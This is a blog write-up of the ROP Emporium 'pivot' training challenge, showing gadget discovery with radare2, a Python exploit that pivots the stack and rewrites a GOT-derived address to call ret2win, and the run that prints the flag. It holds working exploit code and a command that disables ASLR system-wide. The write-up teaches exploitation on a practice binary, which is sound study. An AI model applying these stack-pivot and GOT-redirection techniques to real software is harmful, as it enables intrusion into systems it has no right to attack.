ROP Emporium | pivot Solution

There’s only enough space for a three-link chain on the stack but you’ve been given space to stash a much larger ROP chain elsewhere. Learn how to pivot the stack onto a new location.

The binary and challenge description can be found here:
https://ropemporium.com/challenge/pivot.html

In this challenge, we’re actually pivoting twice. Once because our ROP chain runs out of space, and again to access an unused function in a shared library.

First, I’ll make sure ASLR is disabled (because we haven’t learned how to bypass that yet) and test run the binary:

andrew ~/pivot $ echo 0 | sudo tee /proc/sys/kernel/randomize_va_space
0

andrew ~/pivot $ ./pivot 
pivot by ROP Emporium
64bits

Call ret2win() from libpivot.so
The Old Gods kindly bestow upon you a place to pivot: 0x7ffff7bdaf10
Send your second chain now and it will land there
> test
Now kindly send your stack smash
> testing

Exiting

How nice of them to give the address of where we’ll be pivoting to. The challenge description states, “To ‘stack pivot’ just means to move the stack pointer elsewhere.” So let’s look for gadgets that might help with that:

There’s 4 gadgets here, only 2 of which we’ll need now; the first two. I can pop a value into RAX, then “xchg” that with RSP. The next link in our chain will then be at whatever address we popped into RAX. I’ll write a short Python script to test this out. It’ll simply pivot to the new address and execute the foothold_function().

#!/usr/bin/env python3

import sys

buf1  = b"A" * 40
buf1 += (0x400b00).to_bytes(8, "little")       # pop rax; ret;
buf1 += (0x7ffff7bdaf10).to_bytes(8, "little") # place to pivot to
buf1 += (0x400b02).to_bytes(8, "little")       # xchg rax, rsp; ret

buf2  = (0x400850).to_bytes(8, "little")       # foothold_function()
buf2 += b"\n"

sys.stdout.buffer.write(buf2)
sys.stdout.buffer.write(buf1)

Testing it out:

andrew ~/pivot $ ./exploit.py | ./pivot 
pivot by ROP Emporium
64bits

Call ret2win() from libpivot.so
The Old Gods kindly bestow upon you a place to pivot: 0x7ffff7bdaf10
Send your second chain now and it will land there
> Now kindly send your stack smash
> foothold_function(), check out my .got.plt entry to gain a foothold into libpivot.soSegmentation fault (core dumped)

Once foothold_function() has been called, it’s GOT entry will be updated to point directly to it’s code, instead of back to the PLT. I can take that address, modify it to point to ret2win() instead, and redirect execution to that point. Looking at the usefulGadgets again, I see that "mov rax, qword [rax]" and "add rax, rbp" can be used. Before I can use those, however, I’ll need to find a "pop rax" gadget to get the GOT address loaded into RAX. After those, I’ll need to be able to call whatever value is in RAX:

Now, let’s look at libpivot.so and figure out the offset between the two functions:

andrew ~/pivot $ r2 libpivot.so 

[0x00000870]> aa
[Cannot analyze at 0x00000860g with sym. and entry0 (aa)
Cannot analyze at 0x00000868
[x] Analyze all flags starting with sym. and entry0 (aa)

[0x00000870]> f~ret
0x00000abe 26 sym.ret2win

[0x00000870]> f~foot
0x00000970 24 sym.foothold_function
0x00000ae8 85 str.foothold_function____check_out_my_.got.plt_entry_to_gain_a_foothold_into_libpivot.so

[0x00000870]> ? sym.ret2win - sym.foothold_function
int32   334
uint32  334
hex     0x14e
octal   0516
unit    334
segment 0000:014e
string  "N\x01"
fvalue: 334.0
float:  0.000000f
double: 0.000000
binary  0b0000000101001110
trits   0t110101

I’ll need to add 334 bytes to the foothold_function() address in GOT. I can put this all together and expand on the exploit script from earlier:

!/usr/bin/env python3

import sys

buf1  = b"A" * 40
buf1 += (0x400b00).to_bytes(8, "little") # pop rax; ret;
buf1 += (0x7ffff7bdaf10).to_bytes(8, "little") # place to pivot to
buf1 += (0x400b02).to_bytes(8, "little") # xchg rax, rsp; ret

buf2  = (0x400850).to_bytes(8, "little") # PLT address of foothold_function()
buf2 += (0x400b00).to_bytes(8, "little") # pop rax; ret;
buf2 += (0x602048).to_bytes(8, "little") # GOT address of foothold_function()
buf2 += (0x400b05).to_bytes(8, "little") # mov rax, qword [rax]; ret
buf2 += (0x400900).to_bytes(8, "little") # pop rbp; ret
buf2 += (334).to_bytes(8, "little")
buf2 += (0x400b09).to_bytes(8, "little") # add rax, rbp; ret
buf2 += (0x40098e).to_bytes(8, "little") # call rax
buf2 += b"\n"

sys.stdout.buffer.write(buf2)
sys.stdout.buffer.write(buf1)

Testing it out:

andrew ~/pivot $ ./exploit.py | ./pivot 
pivot by ROP Emporium
64bits

Call ret2win() from libpivot.so
The Old Gods kindly bestow upon you a place to pivot: 0x7ffff7bdaf10
Send your second chain now and it will land there
> Now kindly send your stack smash
> foothold_function(), check out my .got.plt entry to gain a foothold into libpivot.soROPE{a_placeholder_32byte_flag!}

It’s not pretty since there’s no newline before the start of the flag, but it works!

Leave a Reply

Your email address will not be published. Required fields are marked *

This site uses Akismet to reduce spam. Learn how your comment data is processed.